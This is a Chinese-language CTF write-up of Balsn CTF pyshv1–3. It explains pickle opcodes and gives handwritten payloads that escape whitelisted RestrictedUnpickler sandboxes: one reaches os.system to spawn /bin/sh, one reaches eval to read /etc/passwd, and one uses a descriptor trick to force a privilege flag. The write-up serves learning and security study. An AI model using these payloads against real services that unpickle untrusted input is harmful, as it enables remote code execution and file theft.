參考鏈接
從Balsn CTF pyshv學習python反序列化
源碼以及wp:https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc
python反序列化
和其他語言的序列化一樣,Python 的序列化的目的也是爲了保存、傳遞和恢復對象的方便性,在衆多傳遞對象的方式中,序列化和反序列化可以說是最簡單和最容易實現的方式。
序列化:
pickle.dump(文件)
pickle.dumps(字符串)
反序列化:
pickle.load(文件)
pickle.loads(字符串)
stack 棧
memo 一個列表,可以存儲信息
PVM操作碼(具體其他操作碼可以去看pickle源碼)
c:引入模塊和對象,模塊名和對象名以換行符分割。(find_class校驗就在這一步,也就是說,只要c這個OPCODE的參數沒有被find_class限制,其他地方獲取的對象就不會被沙盒影響了)
(:壓入一個標誌到棧中,表示元組的開始位置
0:彈出棧項的元素並丟棄
t:從棧頂開始,找到最上面的一個(,並將(到t中間的內容全部彈出,組成一個元組,再把這個元組壓入棧中
R:從棧頂彈出一個可執行對象和一個元組,元組作爲函數的參數列表執行,並將返回值壓入棧上
p:將棧頂的元素存儲到memo(標籤區)中,p後面跟一個數字,就是表示這個元素在memo中的索引
g:把memo的第n個位置的元素複製到棧頂
V、S:向棧頂壓入一個(unicode)字符串
s:從棧頂彈出三個元素,一個字典,一個鍵名字,一個鍵值,把鍵名:鍵值添加進字典,然後把字典壓入棧頂
.:表示整個程序結束
pyshv1
securePickle.py
import pickle
import io
import sys
whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)
def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps
server.py
#!/usr/bin/python3 -u
import securePickle as pickle
import codecs
import sys
pickle.whitelist.append('sys')
class Pysh(object):
def __init__(self):
self.login()
self.cmds = {}
def login(self):
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
raise NotImplementedError("Not Implemented QAQ")
def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()
if __name__ == '__main__':
pysh = Pysh()
pysh.run()
可以看到題目用RestrictedUnpickler
做爲反序列化的過程類,find_class
中限制了反序列化的對象必須是sys
模塊中的對象。也就是我們要保證我們使用c導入的模塊只能是sys
。
並且pickle.Unpickler.find_class
獲取模塊屬性也依賴於sys.modules
也就是最終我們調用的始終是getattr(sys.modules['sys'],name)
,因此我們通過只導入sys
模塊把sys.modules['sys']
改爲我們想要執行的方法即可。
sys.modules
是一個字典,它包含了從 Python 開始運行起,被導入的所有模塊。鍵字就是模塊名,鍵值就是模塊對象。因此我們可以從中獲取想要的模塊對象賦值給sys.modules['sys']
。
例如
import sys
modules = sys.modules # save sys.modules for later
sys.modules['sys'] = sys.modules # remap sys to sys.modules
import sys
modules['sys'] = sys.get('os') # access os throug the remapped sys, and store it in sys.modules['sys']
import sys
sys.system('echo "it works!"') # boom!
我們還需要手動將其轉化爲PVM操作碼。
payload:
csys
modules
p1 #相當於命令爲p1,要使用時直接使用g1
0g1 #這兒的0可以去掉
S'sys'
g1
scsys #s相當於給字典賦值 -》 sys.modules['sys'] = sys.modules
get
(S'os'
tRp2
0S'sys' # 這兒沒太看啥懂
g2
scsys
system
(S'/bin/sh'
tR.
我按自己理解的意思 寫了一下,也是沒問題的
csys
modules
p1
g1
S'sys'
g1
scsys
get
(S'os'
tRp2
g1
S'sys'
g2
scsys
system
(S'echo 555'
tR.
pyshv2
securePickle.py
import pickle
import io
whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
module = __import__(module)
return getattr(module, name)
def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps
server.py
#!/usr/bin/python3 -u
import securePickle as pickle
import codecs
import sys
pickle.whitelist.append('structs')
class Pysh(object):
def __init__(self):
self.login()
self.cmds = {
'help': self.cmd_help,
'flag': self.cmd_flag,
}
def login(self):
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
raise NotImplementedError("Not Implemented QAQ")
def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()
def cmd_help(self):
print('Available commands: ' + ' '.join(self.cmds.keys()))
def cmd_su(self):
print("Not Implemented QAQ")
# self.user.privileged = 1
def cmd_flag(self):
print("Not Implemented QAQ")
if __name__ == '__main__':
pysh = Pysh()
pysh.run()
structs.py是空文件
與v1不同的地方在於可導入模塊改爲了structs
,然後還調用了__import__
。
__builtins__
是所有模塊共用的一個字典,而__import__
是他的內置函數。我們可以通過修改structs.__builtins__
來重寫__import__
。
我們可以將__import__
改爲structs.__getattribute__
,然後把structs.structs
改爲__builtins__
,然後調用import('structs')
返回的是__builtins__
,從而調用其eval等內置函數。
from structs import __dict__
from structs import __builtins__
from structs import __getattribute__
__builtins__['__import__'] = __getattribute__
__dict__['structs'] = __builtins__
__import__('structs')['eval']('print("123")')
同樣的需要將其改爲PVM
操作碼,這裏要注意__builtins__
是一個字典,從裏面取eval
要用dict.get
函數。
payload:
cstructs
__dict__
p1
0cstructs
__builtins__
p2
0cstructs
__getattribute__
p3
0g2
S'__import__'
g3
sg1
S'structs'
g2
scstructs
get
p4
(S'eval'
tR(S'print(open("/etc/passwd").read())'
tR.
這個我直接在本地運行不了,但是在題目中是可以運行的
import pickle
import io
whitelist = ['structs']
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
module = __import__(module)
return getattr(module, name)
def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
a = b"""cstructs
__dict__
p1
0cstructs
__builtins__
p2
cstructs
__getattribute__
p3
g2
S'__import__'
g3
sg1
S'structs'
g2
scstructs
get
(S'eval'
tR(S'print(open("/etc/passwd").read())'
tR.
"""
loads(a)
pyshv3
securePickle.py
import pickle
import io
whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)
def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps
server.py
#!/usr/bin/python3 -u
import securePickle as pickle
import codecs
import os
pickle.whitelist.append('structs')
class Pysh(object):
def __init__(self):
self.key = os.urandom(100)
self.login()
self.cmds = {
'help': self.cmd_help,
'whoami': self.cmd_whoami,
'su': self.cmd_su,
'flag': self.cmd_flag,
}
def login(self):
with open('../flag.txt', 'rb') as f:
flag = f.read()
flag = bytes(a ^ b for a, b in zip(self.key, flag))
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
print('Login as ' + user.name + ' - ' + user.group)
user.privileged = False
user.flag = flag
self.user = user
def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()
def cmd_help(self):
print('Available commands: ' + ' '.join(self.cmds.keys()))
def cmd_whoami(self):
print(self.user.name, self.user.group)
def cmd_su(self):
print("Not Implemented QAQ")
# self.user.privileged = 1
def cmd_flag(self):
if not self.user.privileged:
print('flag: Permission denied')
else:
print(bytes(a ^ b for a, b in zip(self.user.flag, self.key)))
if __name__ == '__main__':
pysh = Pysh()
pysh.run()
structs.py
class User(object):
def __init__(self, name, group):
self.name = name
self.group = group
self.isadmin = 0
self.prompt = ''
struscts.py
多了個User
類,find_class
與v1類似,不過可導入模塊爲structs
。server.py中可以看到反序列化對象privileged
屬性爲true
就會輸出flag,但是反序列化對象的privileged
屬性在反序列化之後被設置成了False
。
payload 類似於
描述器定義
例子
class RevealAccess(object):
"""A data descriptor that sets and returns values
normally and prints a message logging their access.
"""
def __init__(self, initval=None, name='var'):
self.val = initval
self.name = name
def __get__(self, obj, objtype):
print 'Retrieving', self.name
return self.val
def __set__(self, obj, val):
print 'Updating', self.name
self.val = val
>>> class MyClass(object):
... x = RevealAccess(10, 'var "x"')
... y = 5
...
>>> m = MyClass()
>>> m.x
Retrieving var "x"
>>> m.x = 20
Updating var "x"
>>> m.x
Retrieving var "x"
>>> m.y
payload
中我們重載了User
類的__set__
方法,並將User實例賦值機給了User類的privileged
屬性,然後當對a.privileged賦值時,就會觸發其__set__方法,因爲set被賦值爲了User
,所以並不會對a.privileged
進行正常賦值,從而a.privileged
還爲原來的User()
實例。
另外要注意只有查找到的值是一個描述器時纔會調用描述器方法,比如這裏的a.privileged
爲描述器,而a.ppp
爲一個正常的屬性並不是一個描述器,因此其可以正常賦值。
然後就是手寫opcode
了
cstructs
User
p0
(N}S"__set__"
g0
stbg0 #structs.User (None,{"__set__":structs.User})
(S"guess"
S"guess"
tRp1 #User('guess','guess')
g0
(N}S"privileged"
g1
stbg1 #structs.User (None,{"privileged":User('guess','guess')})
.